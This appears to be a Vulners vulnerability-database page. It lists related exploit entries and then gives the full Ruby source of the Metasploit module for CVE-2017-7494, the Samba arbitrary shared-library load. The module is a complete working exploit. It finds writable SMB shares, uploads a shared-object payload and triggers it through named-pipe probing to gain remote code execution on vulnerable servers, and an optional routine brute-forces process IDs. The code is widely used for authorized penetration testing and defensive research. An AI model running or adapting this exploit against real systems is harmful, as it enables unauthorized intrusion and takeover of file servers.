| Reporter | Title | Published | Views | Family All 814 |
|---|---|---|---|---|
| Exploit for Code Injection in Samba | 2 Dec 202509:55 | – | githubexploit | |
| Exploit for Code Injection in Samba | 25 May 201713:20 | – | githubexploit | |
| Exploit for Code Injection in Samba | 15 May 202106:52 | – | githubexploit | |
| Exploit for Code Injection in Samba | 30 May 201715:08 | – | githubexploit | |
| Exploit for Code Injection in Samba | 25 May 201713:20 | – | githubexploit | |
| Exploit for CVE-2017-0143 | 16 May 201719:34 | – | githubexploit | |
| Exploit for Code Injection in Samba | 9 May 202102:32 | – | githubexploit | |
| Exploit for Code Injection in Samba | 5 Jun 201716:25 | – | githubexploit | |
| Exploit for Code Injection in Samba | 26 May 201700:58 | – | githubexploit | |
| Exploit for Code Injection in Samba | 1 Nov 202223:17 | – | githubexploit |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
'Description' => %q{
This module triggers an arbitrary shared library load vulnerability
in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
requires valid credentials, a writeable folder in an accessible share,
and knowledge of the server-side path of the writeable folder. In
some cases, anonymous access combined with common filesystem locations
can be used to automatically exploit this vulnerability.
},
'Author' =>
[
'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery
'hdm', # Metasploit Module
'Brendan Coles <bcoles[at]gmail.com>', # Check logic
'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-7494' ],
[ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
],
'Payload' =>
{
'Space' => 9000,
'DisableNops' => true
},
'Platform' => 'linux',
#
# Targets are currently limited by platforms with ELF-SO payload wrappers
#
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
[ 'Linux x86_64', { 'Arch' => ARCH_X64 } ],
#
# Not ready yet
# [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ],
# [ 'Linux MIPS', { 'Arch' => MIPS } ],
],
'Privileged' => true,
'DisclosureDate' => 'Mar 24 2017',
'DefaultTarget' => 1))
register_options(
[
OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
])
register_advanced_options(
[
OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]),
])
end
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
%W{ /volume1 /volume2 /volume3 /volume4
/shared /mnt /mnt/usb /media /mnt/media
/var/samba /tmp /home /home/shared
}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
end
def enumerate_directories(share)
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
stuff = self.simple.client.find_first("\\*")
directories = [""]
stuff.each_pair do |entry,entry_attr|
next if %W{. ..}.include?(entry)
next unless entry_attr['type'] == 'D'
directories << entry
end
return directories
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Enum #{share}: #{e}")
return nil
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def verify_writeable_directory(share, directory="")
begin
self.simple.connect("\\\\#{rhost}\\#{share}")
random_filename = Rex::Text.rand_text_alpha(5)+".txt"
filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Rex::Text.rand_text_alpha(8)
wfd.close
simple.delete(filename)
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Write #{share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{share}"]
self.simple.disconnect("\\\\#{rhost}\\#{share}")
end
end
end
def share_type(val)
[ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
end
def enumerate_shares_lanman
shares = []
begin
res = self.simple.client.trans(
"\\PIPE\\LANMAN",
(
[0x00].pack('v') +
"WrLeh\x00" +
"B13BWz\x00" +
[0x01, 65406].pack("vv")
))
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Could not enumerate shares via LANMAN")
return []
end
if res.nil?
vprint_error("Could not enumerate shares via LANMAN")
return []
end
lerror, lconv, lentries, lcount = res['Payload'].to_s[
res['Payload'].v['ParamOffset'],
res['Payload'].v['ParamCount']
].unpack("v4")
data = res['Payload'].to_s[
res['Payload'].v['DataOffset'],
res['Payload'].v['DataCount']
]
0.upto(lentries - 1) do |i|
sname,tmp = data[(i * 20) + 0, 14].split("\x00")
stype = data[(i * 20) + 14, 2].unpack('v')[0]
scoff = data[(i * 20) + 16, 2].unpack('v')[0]
scoff -= lconv if lconv != 0
scomm,tmp = data[scoff, data.length - scoff].split("\x00")
shares << [ sname, share_type(stype), scomm]
end
shares
end
def probe_module_path(path, simple_client=self.simple)
begin
simple_client.create_pipe(path)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("Probe: #{path}: #{e}")
end
end
def find_writeable_path(share)
subdirs = enumerate_directories(share)
return unless subdirs
if datastore['SMB_FOLDER'].to_s.length > 0
subdirs.unshift(datastore['SMB_FOLDER'])
end
subdirs.each do |subdir|
next unless verify_writeable_directory(share, subdir)
return subdir
end
nil
end
def find_writeable_share_path
@path = nil
share_info = enumerate_shares_lanman
if datastore['SMB_SHARE_NAME'].to_s.length > 0
share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
end
share_info.each do |share|
next if share.first.upcase == 'IPC$'
found = find_writeable_path(share.first)
next unless found
@share = share.first
@path = found
break
end
end
def find_writeable
find_writeable_share_path
unless @share && @path
print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
fail_with(Failure::NoTarget, "No matching target")
end
print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
end
def upload_payload
begin
self.simple.connect("\\\\#{rhost}\\#{@share}")
random_filename = Rex::Text.rand_text_alpha(8)+".so"
filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
wfd = simple.open(filename, 'rwct')
wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
)
wfd.close
@payload_name = random_filename
return true
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Write #{@share}#{filename}: #{e}")
return false
ensure
if self.simple.shares["\\\\#{rhost}\\#{@share}"]
self.simple.disconnect("\\\\#{rhost}\\#{@share}")
end
end
end
def find_payload
# Reconnect to IPC$
simple.connect("\\\\#{rhost}\\IPC$")
# Look for common paths first, since they can be a lot quicker than hunting PIDs
print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}")
generate_common_locations.each do |location|
target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
print_status("Trying location #{target}...")
probe_module_path(target)
end
# Exit early if we already have a session
return if session_created?
return unless datastore['BruteforcePID']
# XXX: This technique doesn't seem to work in practice, as both processes have setuid()d
# to non-root, but their /proc/pid directories are still owned by root. Trying to
# read the /proc/other-pid/cwd/target.so results in permission denied. There is a
# good chance that this still works on some embedded systems and odd-ball Linux.
# Use the PID hunting strategy devised by Tavis Ormandy
print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)")
# Configure the main connection to have a working directory of the file share
simple.connect("\\\\#{rhost}\\#{@share}")
# Use a second connection to brute force the PID of the first connection
probe_conn = connect(false)
smb_login(probe_conn)
probe_conn.connect("\\\\#{rhost}\\#{@share}")
probe_conn.connect("\\\\#{rhost}\\IPC$")
# Run from 2 to MAX_PID (ushort) trying to read the other process CWD
2.upto(32768) do |pid|
# Look for the PID associated with our main SMB connection
target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/')
vprint_status("Trying PID with target path #{target}...")
probe_module_path(target, probe_conn)
# Keep our main connection alive
if pid % 1000 == 0
self.simple.client.find_first("\\*")
end
end
end
def check
res = smb_fingerprint
unless res['native_lm'] =~ /Samba ([\d\.]+)/
print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}")
return CheckCode::Safe
end
samba_version = Gem::Version.new($1.gsub(/\.$/, ''))
vprint_status("Samba version identified as #{samba_version.to_s}")
if samba_version < Gem::Version.new('3.5.0')
return CheckCode::Safe
end
# Patched in 4.4.14
if samba_version < Gem::Version.new('4.5.0') &&
samba_version >= Gem::Version.new('4.4.14')
return CheckCode::Safe
end
# Patched in 4.5.10
if samba_version > Gem::Version.new('4.5.0') &&
samba_version < Gem::Version.new('4.6.0') &&
samba_version >= Gem::Version.new('4.5.10')
return CheckCode::Safe
end
# Patched in 4.6.4
if samba_version >= Gem::Version.new('4.6.4')
return CheckCode::Safe
end
connect
smb_login
find_writeable_share_path
disconnect
if @share.to_s.length == 0
print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified")
return CheckCode::Detected
end
print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'")
return CheckCode::Appears
end
def exploit
# Setup SMB
connect
smb_login
# Find a writeable share
find_writeable
# Upload the shared library payload
upload_payload
# Find and execute the payload from the share
begin
find_payload
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Cleanup the payload
begin
simple.connect("\\\\#{rhost}\\#{@share}")
uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}"
simple.delete(uploaded_path)
rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply
end
# Shutdown
disconnect
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation